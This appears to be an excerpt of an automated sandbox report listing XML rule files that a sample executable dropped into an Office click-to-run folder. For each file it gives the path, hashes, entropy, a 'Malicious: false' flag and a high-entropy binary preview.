SHA-512:	3E4C6E0E363E042953E45BD2C0F8D68ED56E544CBD4C226EA3F25DEBB6E3457F2CBB4D36541FCF53B1C13F01DBAD502BC55B760D5714285B799207F87D76391F
Malicious:	false
Preview:	<?xml...h.....j..c)....2Q.@.s.m.3.R~~.\\.{.8..8<.M..U.(...2...f...U.....\..E;.M.T.GW......P.}.5D.>..:.t......-.o...mT..4p..<..7:.6.....-........i.2...d<....FW.F.z...Na..kqC.T........A.J.A....-.......Q..p.Q.P.....l..R.?&....%..4.4.bS.^U[.\|..w=...JC.h..].O!MTW.bN..w.......<.y.rk[.....u.. .d.l.VI.....8....>fF.}.....m..zR......ic>.....t....N...P\|Z.{O...8}.R.../..ns-.....w.X.....\.....E9......]..G..ug...js1..(.:E.....(&.0..&].CG.........W.t........+....9... ."1.AR....L..2.3.r..=.V......(.T..h.[kM3.k4.6.geJJ'h...+....X..G...md.,......b.......2...I5jc8)...0Z,]i&._..'..F.P.W..Q..A.7...Z. @l....@.\..{..'%.x.;..#"..@..Ko.sC..h.!....hN....z...0R..i.e?.Z._..OPq...C.....D..;.....#...q..<U..>.b1.'...w..%.N.,.w.q8f. ....F.D.+4.......^U.......@b.l........8..j....]..?_t{...g..U#.).u.e.....s..I.Y..7tYPV.. _&tP.N}8$..........!.{...Bi.G,].0.E.. ...J...1......c9....~X'.D..T+..C.....F..\_u.`.vl].2....#...T....`d$....iL.io..L..,..U.M.'..<. .,...2..,.aRbE.*...c.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.91724826891821
Encrypted:	false
SSDEEP:	48:64siTZ/Ltb4u+LyVJp4gCjMeinangTN2h07dNRuUCBKFD:64so/b4u+mVTCQe/ngTNGUjRkBK9
MD5:	859D350478A6B88CEAE5B9C2217AFE6D
SHA1:	F19A1165E8BD66EB2AFA828449AF121D8DC0DACB
SHA-256:	476E84FB8E3EDF97A192064AFADECD6A89EC6EA0683678FD6BF8876E9481CBAE
SHA-512:	FD5D6D73CFA6EEFFCD2ECA99E5B01AF7C66A2C0E5112776D9C61B168B53A278A77A2051E9541933D644FC2C4E0D0F5DC09312C5447224A6E08C9C2336A3FEBA0
Malicious:	false
Preview:	<?xml.$.....eu"...J.....y.E..h4Y-.~..<?..R..rE(..&.b...J....aw...(.{}t.......;.e..\.?.l '........2.j~.._....e...oiK.&....+,..-.......y.....MP..B..9.;.'.X.p.....}..:....J......_Ir..l2......@S.8A..0>..n.u..e.65...twF....K....Hj.=..q..`.(.@v+...3...._.:U...m!......kI.]1....a...j`..._.lU..y6mWA...........)...9..1.....?...=.x.CJC...h..8J.....X%..[.aR....U.i......A..7.W#..\..L......Dl.Hi..O...%.o....$.....9.u.....m.;.&..v..r..B....5C.8.......MzY1.....wg..p;....Jx..UE.8,R...BE..x.......P..G.....h.:4.8.......uP.SS....a.....'J,.....bQ_.^@..6..Zo....L.........Pd...iNO......2....@.....z........i....;....5........(I.._1.<...j.BL.13.bx..}.(='.q."...Y.Xv7..=..i...0Z.d....E...[..'.'...0.Y.D...K0l..z..Q,ZU.<C..`..L.d&.=...l@.S..r..)..y..C.K4.It-.ya.o..j..e*.o..c.V=^.%..+.3J.=.........];..P..:..m..N......,.[Z6..NF...N.}t.^.r.f...U}I.P<Y.Q..}......68.u..."[.+N+ws.z...L.....m..}=..6,f.6...Y(.h.d.k..Gz(=...:.(.4..k.F..?.].`..TNQ&.C.o...w..T..%\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.7083708484968465
Encrypted:	false
SSDEEP:	24:LbDCdBPbNKzCWtJc9/hcnhSlwycYreUtlqVbD:PcBjNKJcvllwycMenFD
MD5:	F4277C64C25F6503DB2CC252267657B9
SHA1:	0B6A37C7B253D95329939909A0705A788D093F86
SHA-256:	04C36ED6D044E7F39CFAB2153F6F7397DE8CEAB3741B4AC22B54DCE391C73F57
SHA-512:	4E94649931B80B320F195E01B312D743541B1D61914F22208633639F8DD2B6374A6D75C87209799B9053DA0FA0FD98068D2655ACEC3641E04A4AEC7CD7AAF739
Malicious:	false
Preview:	<?xml..JVM..4.c.h....!..m=..$X.....&.{..@fW..y..pIs.l.........x.U.[E...5N~<f.1.]...@.v.p...Cdqj.H.....m.%p..U....$....I.&...t...y.....}..R...9UEg....>.....TV....*.HJ.b...{.K..p.~..2......SC8...X.c.W.Yi...j.3K..Q....2...f....jkw........(....[...>W...L.}o.E....a...',......Do.b.8S-q.Ce.yTWufDU..78....(B.jq......>p.......Q...X..P.!3.T...K`..`_Y..l;.q.p,..?...`..c.'...1.s... ..IqCM......3l...q.^Ty.;.Hr..K..]...EOU.....y6....R....L..]...Q..Y......X.P..C`b,;..Yu.wM.u.-bj.T.......Y..[..K...a.>.+6). ..&}wze....0=./Xw....W.AQ...m..,..<...}R....y....!.>%..].....{.......}2;;V....{....?.e.O.=u......w.#C)........[Y...o4....u0.1.A.%#.:.`.........&..G`qdG..>...}..V..tfD6..GY..S....V.y.[G,.-....b.tp.fG..50!.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.909003579553696
Encrypted:	false
SSDEEP:	48:6gmsHw5CdWQWIp5eISPJU2Ul9tyRScSQjiMwJNFD:C0pwISRUxl9t8WN9
MD5:	335EFB818AA18FA654D8B7532A10D099
SHA1:	F7A0DDBE71F010A1367E73547113EB499678677B
SHA-256:	17ED27637106E37B15B31A6BA2F03F935D4B72FF5D32F212FFD3289025431A54
SHA-512:	97956A156F328871A97EFF40FA2CAB3A5A53409DAD4C588F9BC7C9C4FC9737C138CCCA82EE6E87D808CB7B5EAD59BDC6CC7B8DF17AFC486373A593A3A423AEDF
Malicious:	false
Preview:	<?xml....p.-<....D....Xe.X....=`y.=.....j.R.)....m.m.D+.....4....y.!~.H..\|......Ev.D>....$l.1.....e...\.....5.(.c.i ....?2....bl.@.....k.%n.\|c...!.2.....<......6..i.tl..d..7..:.g[.i..(...%..5.@. $..,...j`.K....l7c.\|.F.B.0........0%].U..K...........Df.S..wn..'.P........F.._.].}..T9..a..2.0d..r.R?....sj.5..xKE.>..\|C.n....L....D..q.."Lp.8JI.E..tq.^.-.\|...n.C....../...A.....@....Mu(..h.'{._? k.f....=W....3.r...:_.k.@.j......@......;.....5... .q/........66e..j...!....}..z..:..+..Z.............7....3Rb.L...H3..6.x$.......x...xf+.~.a2.HH..Z..3..Z..Q.......{:............O.b..sr0.y._...a...e...IG....t.y..6.r...IW......F...^P.l.d..'.Z.a@g..U.5.B..,.Zx.b....U?..1$..$.._...c,6.cd.....3#...X6:v$.K.X.#4z..i.d._..........9D.dl........HI..81]...}6..l,.. .1......h6_...O,zdL.....#.nc...l..j&...4.y?,.{.....k.....r.kL....L..X..t.>i,...-.l%..l.....]#PT...6;.......?kU..-]......S.....T-.\|......}p......1K._.?....;..E.....bPd76.......D~8..@...q-..j..h8t...Hb..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.7175547207084705
Encrypted:	false
SSDEEP:	24:aehOV+j4AXNsYS6amzCYHoNMyLfFgKNnMqprVbD:aehOVNyDS6amzC68MyrFPNXFD
MD5:	615BF75A1B6FBCF0D60B01A8A6822ED4
SHA1:	ED35402C0B43AFE87D51B32F89787F4904FF5418
SHA-256:	13BA1C0370FD09CB711ACF4901CDE60510193B4B5F29603F785FD805B674BBA3
SHA-512:	AA9A30D1697468ABC54D3C13699C80C6134DCBF497A955402F81F14EAAD41AAC5717599B457562634040AE1EA19818D4EF357977C788360B5C5A7789F8CBF8CA
Malicious:	false
Preview:	<?xml.R9~.6.8Y4.F/w..&.dZ......:...4.C+........VNC.l..my.O.=O...N...dP~@MiV...r.w..U.i.y?f.N,.d.:\yN.7.`_(...S....b...`.e;..W...4.!...5.....fy".l.J../.d.1..OqH04r.28....Iq..bb..#a...1I.6.B5...\..m.$.&.FE.3`.l.V...t3.M......5.....i.k<...#_u.. ....8...qe...av......+....tS'.@........C\|Q............Xb.u..k..Z\.0...s5.......9.F.o...N.....f.x....3:.KA^.m.QC..;..Y.[....&~.H......q....E:.{=....vx.....\|...Wq.-.......w?1...h ..Q+.Rrv....S.N..T..w`......\|3#..g.PV.....BrBO...E7..l.u.^.C..$G......q29.m".....[Z.1..[....}....y3 4s7.........Rw..}.w.E..^.P>.....l:.......^....h.~....F.95....,....x.$..o......>!./......9x...Q.0S...i..?..n....M..v..Q .T.h.b.*.f1..VF.$..H./o.Y.?.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.936693249904767
Encrypted:	false
SSDEEP:	48:GnnjYltGxBEeQSn+WxAHbcUl0NTGs1qIPFevdmPQ6FIrjLcTv+zUN1cC3EmRgk9B:GWkxqeQSn+yYWNTGsFPQvdeQaIrjKv+w
MD5:	EC5FB50477C638F915B038E251BD9911
SHA1:	DAFB9292239FAEC524506BA4A93E0832F0E1AF4B
SHA-256:	77B67B5B348EFE718E7662A931856592939C20A80F3DD5A61472195BE0422B37
SHA-512:	E6EC2A1918DD1F5D465CB31826C435B7A96375067BD643F34D8C15C762ABDA404240518DA0F453ED18A0AD209C216F2588397E9B57C6B58E57FB82D98AF418E9
Malicious:	false
Preview:	<?xml5PW...9=V....8...eb...9.b.......z.<O.[C..............m...%@_...`}5..+......L.}....j.=....8.H.....MnFx....;._..{..].N.'~.....f..6.s\|.].......3x%...1.MY.l....."..`..y.:...f...y.........B.e'/<.<..%r.U..4..r.P.@s.1....ut.[j..$siZ.W.i..t..n.....pA._.".M"4....G.`7..V..[K......Q.=..Z... `B.mz9..>...w...)...DN.0$..:...<.^.`z\|h3?L....N\|.S..d.z.N.3/SX.c..~G.[.[.....7H'0....9..c%B.V....XC.71.6.-WA...kx.D...U....[....xx763..D.W"...i..r...Ue.Ca...v4.`..,..x&r'...e....Q.J.z..5[.%]..P....;k......:..\X.]>q<k.m.....[..(..\|%......h._.k..S.u@.y.ep6@.x.e5.E..s..I.1vpqe.....p.$5.K^..'.q.-2...=Y...y..N(..T..@...f.2...G.0S.....T.....TX....o~V.IY...}......;sD)ln^....G.....rB.o..GB.4...l.1-..-...:...d:N9.....w.D...g..T.......=$..Kj.a..2.J....<M...Q.H.......^.o=...<..W..L.~.>G.......`.TO.U{..D;"dl#L..:.....oFM....t$.Z1!}G..p..o...c.v..x..$...k...S....kY.?.1..a...hi.f..B.m...{....@......S..n.d.A^...".#.8A.)~H?...D4...6g..V..Z..;.......*Tj0 .>.@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.929474409403903
Encrypted:	false
SSDEEP:	48:dtqbRnanzNIjzNaFFw6De3VX9SxMpqc8lQlkEv5wJxvOKLuKnVpk2yO89D0JveJ+:dtq9naLFnDeRoUZv5wn2KLuKnVxyhDYr
MD5:	97623DA2D7E148C89D4133359DA1DFB0
SHA1:	11D99D07EA5C892363973CECA3549782853646E6
SHA-256:	E58288217C13C4D75A3F04909D024167DBF4EA8AF89D9C3A65CC28CD5026F7C9
SHA-512:	207BCA600CF7181E7616AF7C440C2EF9BD4B6C2328CAA979B2E54B207BEDA004399314322C8F6BCC6682CA34A5D8B458043FE751382160F234FE48BC5B6AAB61
Malicious:	false
Preview:	<?xml.$c...=.u5.>(AcV.T?Gn[Wg.y.v.......i:.b.>.&.x.bb...0....'&2Mn...?.........Y..a..roZ..M.gva.. .O.+GO.bE.YqJXh.......<....]]..&...i.,..PW.{.9).\.j5..-E.U...)J@.)..........-{.pH..e.iFfC...H..MD@_..Z@.. ......!..kO.<.x.v.).(/.Q.o.......i.~V..k.K..>N.`4'.].....pE=..._-..n..\|4...X(..$K`.../?_......N...z.=4..~.ONw0.....!{....'.>o.....q.y..N......;..P..T.z6.a.cd tut....Uy.....b]M(.cz..B/q..G ...'..{.....4.%\.JW.N;.x....n........-8...c.j.8?G.Q..<R.D.`.<...5.U..v.".....'.D9..(F..E <H.[2....rceQ..Hc...C.N.6R.U....'.......x%...p.M..t.V..ll..5..2HR....9k9KE,..1*to...X..J/b....... p..;G.;..6.9L..Ew.Ee..iH.9..L.p.<.x....@.Q.zv...N.[.g.V...y...{.r...].@[YHk....$`.S...U}.6.....S?...i..DI.i.3..C. H.W<......fI.q..Nb....QYh..8&..M..^....g.....L..#...U=..i}.:Y..F..h.s]..."QY.,}....i..1XvO.l..}.+Bj.2......F.....Z..S... ...R.d...M.=.{.....O....y.;F1.=.y....5..R.e..N8[8....M.lY...I<.L..Q}\|.e)^i...-6.O.&j.@..IXt.....74A.[#..:Zc.7.G...u}..2..H..2......@...h...W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.960536638325598
Encrypted:	false
SSDEEP:	96:0Zn3ZIb8a8m+rczqAFh1zdHZKGXxadYMii+YXX44x9G+m+A31m4R9J8HAlR9:0x3O8a8m+weAFhHZKsadYli+YXX44Zmj
MD5:	D8F400D2D81550A9A4A5C10EE1289A9A
SHA1:	37C7F34D09F9DC8A780810D91781BDD8A03E5F42
SHA-256:	E638464E000A17C062A7A414E225F4C1076B60214657EDB17F452C0FDFF3C1F7
SHA-512:	400AA8C6E771029CC8C0510AA4778B85E4F05190EEA0525C20842157E98B08C13396343F769C279E5A16E4321739B737E2D71D4F95B364CAFA64668EB88DAD77
Malicious:	false
Preview:	<?xml5zX.q.7.i....J.{.."."...6.H.,..."._h.p..-i.!.....).......o..8..F.7.O...p...#}..P.N1....2..at.5c.4.k..Hz..b.f...!.C.t3....'R........Gcn.....[..-R.+1......L.... .._..w.6g+.)...Md .V%K.z....>...z.....`.R....dp...NS...}.B.W.a....X$0.kx....dgp....u...g....\|.9..';..j.....+N..G.......3.5c....g............S..!z4..0..mw.z\|..Z....Y.:@D...+..T.[..1.@ ...,b............v3..9.euw.R...:..L...U6N(./{...f5...+p...."4......>Kz..[.Y.r.vs..<#X.e..#....}...R.8.//...%#1:......L\.b...M....Cs.D....{)...n..L..Y.....5..s.....#..n.<C7.c.4....[..0..=.@.$1\|...M...$..>.g...K.........2.-.C....V.k....V]uA~.....PQ.m<....r.4'...J.b...`..d...Z....g....Kz.V....t3..hb..q.u8...O.........FS...:....7.n.<$~........7.........d.......h.....d.....k>...H,.y...*PbD^\.d..tX.Z..;....k1......W ...}.x.,\|~QWQL.dy...e...d..#<.hP.eF..[.x.../..k.-.......p\ ...E....c,..f]O...~K..r..^.kR.......$9o..;..S..........ZS.<=.Pc...iH[P.%q.E..o.`.V..:8ea...._x.;...Dr.K.V..t<.....c...!..P}...3.\|.Z..{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.851323882872415
Encrypted:	false
SSDEEP:	24:kU9+Toi0/3Szb0vwIO1j4ss5U4RIVkmy7OnhLZVMLlFJ6NvrzRPBTLaKY8VNVbD:kFkCfywIO1Ts5HRIVkmy7C7SlFJkv3tH
MD5:	34A4C47650ECF6C2EF69940141EB6D69
SHA1:	265210A3A7010994014E088BA57FB478DFD0B159
SHA-256:	8CFBA33505D98D08DB44C5AFD113DF62E42444C84CE5089CF5A5EFCA1BB751CF
SHA-512:	C9191A6DB4237A575477FC2BAE6A22F752969A596911F10F9351A70908B13763F4689D700E0621A93D97DD12AF3376CACE3B9EBDDF5851A15A971FEDC45EB00C
Malicious:	false
Preview:	<?xml..~.^...s...lL.3.0J ..\.-H.8._\../Fm.d7.......{AO..d.J..8.O..0Rm..u.;..P.&b.i$.m...>.fx.:.Of...V4.m.m....vCw.......l.6Q.Ey...0...... ...{W..;`W)..A..(4.t:...n.)..{B.{..!y..[..9.g...%!?.$...yV..B.$.d.x...{.&....?..M.`5(.L.d'...m....v..A{..N..\|,....G.......?..S......(..Q....U.H{.K[...{2...o....................`.2'e.r.Rn.)..{.g\|,.(H..:.M#.....F...e+.....M.A...&.II...;I}...g.?m!;>..............?.w.^8...kQ../#.{...^..?.....Gp....=..........i...7.....S.k..3.6.x......f- ...A.%...~..........G..9C5+/.F..0....n..C..ao...~.u.}.V.F.....5-m..<c.....=..9.H.Yf...i.J..&.....V.jQ.hb....j...../._....d..O.....[....Q}...(t..E`~..u^.~..x.........?O.Sm\.+xT.#.....5...%O..i...Av..,<..}pO...).....".,x...a..&%.un.....0.q....de...A'.....F...+..=x....#.Z..G%.n....4.=.x..7...j..d...^`.w>M.b..{u..bw....I......5c.........M....:.GXV....M..y......Y...........G....0....g.......0.K.*.......\.sD..d...h..h..Y..G..q....h.7.../d.<U.....)N@M...7n...L.._H.{.e.iL.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.856327361179442
Encrypted:	false
SSDEEP:	24:HJophg+xWX0U0RJUf8Nc17+uErP86RyjBxGqsT0NVbD:CFxWEUWUf8C17ir06RyjBxzFD
MD5:	E43476690895A5B219D2AF55FA949B24
SHA1:	6E0B0592198B55920DDD77572527C3E85859438D
SHA-256:	155B7125E68F5B386B40AA800D6A1723EF521EF0796255E6EAB7FE70587A1B4C
SHA-512:	0E4337CC8C90E6972EC1332CC4518EC1CB1F6EBBD71E699C624D25498FB6F799D5CD59358B1CE20572B513E01039C8778C579E3566273A674654E3203878F387
Malicious:	false
Preview:	<?xml.y.&.>.;J...3..o.../..N....`..Xm.;LXt..H...d..5....) ..~..=.].!m.......y..'w....G3.BI.N...........v...n.h..........M.)...i?`..~....U.....].@....W9.7...4...q.>.$v.".n....y..?.$....`T46..z^....}$Qd...N....Yf.Uq."..\|K%b%.\|.hE.r/.c...J..RN.2.....5k.h..r.u..r......oM....#}..P..!..U....=8.....EN&^<....l.<..=s..2\|oB..s.y.x.W.,7..~.Q^T..R.t..o..(O].....d.k..7.f...9...........f......a4.@4.3C.h.....Z]"...@~.~..........-.+..........b<..5;._..2.+.%...Gf..D7..\7..P....U.k....z.3`..M...'.'.......U"\S.m......i...&..J....{..;.=%..h.._.7L.T.S..D..)......Y..eO~B...[.Pm...$.)Q...$.J....83.ElP..J..Ga.R\.q0W.&...A..Y.Y..O.j>...1pf..qL...Ed^.O...]VA.......<.\.M"...J..I@.L..i.-.lx.._.....y.....b....Y.X.lR{@.....1......s..gE..d.:....#NKQ..tN....;..'D.yO.Q.-?..[,.....c.z..0b.GE-.&.Rt,).:..:........."F.1;y.E.....a...J..(...W...........8..W...u~.<...q.X.-.j&D.....$.....hp_..}....G-.I.ur.8\|C..R]...4.e.m.*.<....D5.,'...6K=..r.+.....-E..\|.7....m.......&..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.812468723932872
Encrypted:	false
SSDEEP:	24:P/xqAZNUUOz5WeFS/gZGBK8/OwQOQC7eipTHLXUSshgoZDkcVbD:xfUUOz5WUNYB4wQXinkSm7DFD
MD5:	D84EE77F3626BD69773719FF93BE666A
SHA1:	36AEE2C0830B498669BAF233A8ADE6ECD009508C
SHA-256:	22EE7ED25C2F44B0E9A3EEDE041E7A6D5611C234F936056B1670A86D06374D9F
SHA-512:	CC7F453CE9069EFB49BDCC623F171C35BEFEE400BBE32CA2534665A8D85BDBAB7CC98A5B011865F8378E886002F9EA41E1013ACBAB0108EE260D092E83B5A264
Malicious:	false
Preview:	<?xmlY..;...d/...v..i.El..a[6.).))d.^..mB...F.Gl0..R..=@.K..E_..x..i..j.....d....E:...>....1js.g0n.&.EG?.]..)..n.T..<.8..U...U.F-.U./..w..@%i.)..g!....T....<)8...z6}........."k....L.p..6<,.MP...Mz.^.S.......".......GfZ.c.,#.].....&.`..;..J./..a..QaoU..+g5.}#J.`..9<3.....E.T.m.".KTb..].....t58...gs.;.QL.I..s9....-2...."............t^......;......W...>.....~.3xe....0]-.CA.....Oe.....^.0.N2..P+f.\|.(.sP..N.H..7.\|.W....Z....f'_...:..d._ah..'..r.o....v......-..`.L...5P.....L.BZ..'..f..'A{.s$...B.......V..J.Q"M....n.SK......P7.Pf.....=.7...m.}.HfI...+!..u.g~...j.7&..`....'....h....n...m....... gh......#..@....(X...#W...M..".c.+......F...&S..lf.Ip.o-c.].F.......P).../.AY.%p.(..o.R.;y.5.n...s.Vr...T....w....l.h...6.A.~~.f!k.+.#..h$n.....[Lw..K....,.w.sC.%.V.YnN...d./..........!......T!.8}l[.ZT.....&..v......3v...el_/~L..(.s^{T*.g..f.q...1....:...$O!3{...n.R.x....7...m%LN..%...>k..>[i0............Z.(.R's 7.m...r.. .m...B.4.o...Ci...[9.....Tu...D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.977961128440683
Encrypted:	false
SSDEEP:	192:em1q+Wc9URhAtOC/U92GmdM1LWvoD8AU8Kbf46LhgXa0r:7vyhAtOSUryM1LAogxJztgKQ
MD5:	1CF8F5BE29DA89F919AB2A246F58A439
SHA1:	101A3A4F2DF50A8F82B8584139C9DE4C077CD27F
SHA-256:	CD9CE1C0FCE345163578B69E8BF0F8861B7AB99967F402F3519605C3935F5CB6
SHA-512:	6BE223C52D722A5953875CB297D105CB33050825109C759B73126B73A0A25D611D60A11075D70E961E07239D6823D5B31FEEC98377814F9209DB6CEC3E2EB996
Malicious:	false
Preview:	<?xml+g?.]W!.Wk....2.....f....w.h...Eb.L.4.{...\|.0.eZ ....7...T...S.8.B.=...}......C..F.....I...m..../...xGiM_..>'.H...Apf...x/\.v..\|I`C...(.z...6..If.'.LcP{.J.[]../. .w5.,jca..D...l._...3.....%#JF..>y.......1...t7..n _....@@. ....U.g.M?q]l}.}.R.....p.a.x....E..Qv...N..R.]N6.i.....Z..h.."..;.q.jHgN....OYp...CR~.F.,...q.G.@.........@9.t...jB.QV.x......l!..3I.v......h.-D`.N.K..U..R..5...g...c...ne..D.C.N"$^.Ej.+..x.N.&.../..?.u\.}.......J8B.F..BH........h..5...5..;......8....q.....\.........(.;..,M..2(d.l.,-....\|.i..f...J..j..dy)l..[.P....r..}G.3Q..@R.m`6...\-B.w..UF"......Z.....b..gAi.L.8.m.....f`.m.\..q.E..zU./B&.'B...W.. .Z...Y2.2..s.x...y.Qf.b...J.Q.!,.Qqg.O.B..Q...4...+6.....VyX.nHE_,I.r.]89.Y.Dg.2...!....j.,$.-...<.}3.\^.T.3...:.F.d.p...%3.;l.pLY...w?...J,.$.T.......%.M...x..O......T...9...;I;.R.............R..B.2...t...........).........M.....u..:.!./....o5.....b.>~.h.$...#{.'.....&.j..Ks..g9=..........T..8.A...?.A>^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.9662468805916
Encrypted:	false
SSDEEP:	96:W9ShPd8LCRKK+PRaSZpNEOJl5+ZIGgkbeXPjkHu7y+vZDq8oQiyttUPxHEDD5JmC:WsNMK+cMqKD+Cv1XPjGwySZDq8otvxk9
MD5:	22DA05CFF8D0B422647589FA80FA1089
SHA1:	733E67C8ADF51D628CAE5910C517C299BDF349B3
SHA-256:	3A633B722E58BD49E70A22EA08E86A9ABC5C2B1DA26B5EE196056B5F12B65C6B
SHA-512:	76EE48618FF4109FB40E5DA14241F0344A26839C39E27BFB06E52C702CCF3A98642B16490D7658B0B59EB97614335A3A567A9DE5D6E773C87FBE371AE7B67930
Malicious:	false
Preview:	<?xml...+.#........Y......rw\..598Y.n0Y.....R.F}.-.Kh..7MaX..A]..1VB'&}.=Q6.#.=.U5.u.V?.<J....yU.7a.A,97/...3.w[......../z..N..H...~....O....h.z.....>....{S..Z.zc.>.^...2.8.<.jv!'..f...V.5.}...b.1]....w3.>3x\...+...z{v.B..&\.v,A..v.n.^[.l.U..&...A..s...F`.../p3..j./....m.z.!...X~ !@YX.m6..........B....Fz.Y".g...(%.a'1'.C..w><.Kb.\|u.B.t...m...sA.5.G....K...b..UN.GI.-.H.gb=m.....w.oc..)......G{....?N..Q.B~cQp.....kL~.o..pd.Bd.?...c..Z....]9..ef.w.....N.g......~.....j.1...k.7...;,#Fi4.,^.....-Ms..-t=..0\.d)^.Y..E...wY.c.F.j..g....\__...F.J..g..P..e1v..h..._O.K<.k#..T.L..zv.?....?.....hZ...LIn..._:.,..0.....^.qEDYC..M.S...o\...v....~:B..n.....T...d....#.uX.....+2k..b.7E..?..`.S.k.(...V.L.#e.@.........s.].;..A......Q+a>..X.US........uJA\J.....0....r< {...9.U=..\|;.<...5..yT%..29.{...H..xRY...X\|..u}Rc..3Z.>_...s)...\.P...j.<X.D..r{...f..c^..6D./m...-#Zr .y".{m..]..E.\.$...o..-.......4k..?=K.S..:....1...0.h...cK,=...M.....&.&.,..S..n...4I.;.....@......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.95994374072679
Encrypted:	false
SSDEEP:	96:5Fl1T6WBbatYCPE9ESo2yil8HSoNIRDnfHk8y18A8f7PD4Q9:d1TNGtYCPnSpAH61nvg6XR
MD5:	207DF6D55933C24996B6929D20F1DD92
SHA1:	1463F847FA834BAD967C9CF856594E869D28D3DF
SHA-256:	1C7C66C75577457D273B03209B767EA44F3CD078D459315948AB5FA5F61F5946
SHA-512:	7A216D321CDF773337A3CC769ACFEECA7787FA46FD24095ACF20C29D7CE2F4076882EE4AE215E4864A298F36FA6CA5ED93502F22C0C3A5F4AC23D310BA74AD39
Malicious:	false
Preview:	<?xml...f.K..~..%...GA,+........W....ec...~....K=.m[..eC......xr.u..#..e .2....\0....1LOZ.......eUz:.P.D<.c.[.......y.wi..~....6.j=.#b,`.}....Cx...>y..ARf..V.].j.J@N.!'........xe.GS.b.A..H...K..K.........J(...)?.}e/h.q.]..n..yuy.P\.!.S...Rr.A....'.;...pn..7.....`........D...S.N`~..{..\|...6..h......n.O...am.`.K.V..\J....DTJ..S.7"?".h.[I..p.\...G0..!.M.QN~...Gc....~.z..GX.9..zR......cI.D`...W^.]W...M...t}rJ..e`...{..{....yFr..3....8.oyF...\|..G..0M..s0..#....?..;. .K..L..._..qn...z........=. O..z.H...D..@.N..j...6=.E(..?.k.).I;........S=N\_.m...?..Q.......P...........9.`. ..k.gm@[.I U?1...A+..DRG...E.......5"=...}<p..K..".L.g.Q)..(i...>.%_a\...".7..v......f..,u.' \|a..?9.3..e8..D>T...f.s.....K..O:...vr..kq.....".9...(1f...S..b..!5.h.8....-.,Ez&..2^.../\.u/.h.........v.D8Y[.R.~..s.b.J.....\...B ..5.t...?..u.6.3.)...Yj9.........l...T1\....1...r..}8........B.)lx.d..;t%........L...op.U.Ffvkga..S......!GS.Da.e.+r.J).Q...../.Z....V*.....K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.961234743788817
Encrypted:	false
SSDEEP:	96:p+7BA6hwKw13ybb8z7wdjUhvFwa/uVaa00GyBfeLK8RXo9:wBTmpS8Ydjmia/ugZ3Mfew
MD5:	5C30C43E65E6E93A16320CF3F99DCCC0
SHA1:	89E04F7B24067B937831B860C0BC5F5EA2124639
SHA-256:	F091D69F70D500E5E09094706275EDB12F4C276999D7D3D2BBBBAB9BB07CDE33
SHA-512:	1CE56EBD25A7C9DD826BC2254EB3560D37745908BBFD989A8948E4B314343AD1E27A91B6BE12FF4D48BD9508DBA4D0EED55044948439222575D077FB3831A645
Malicious:	false
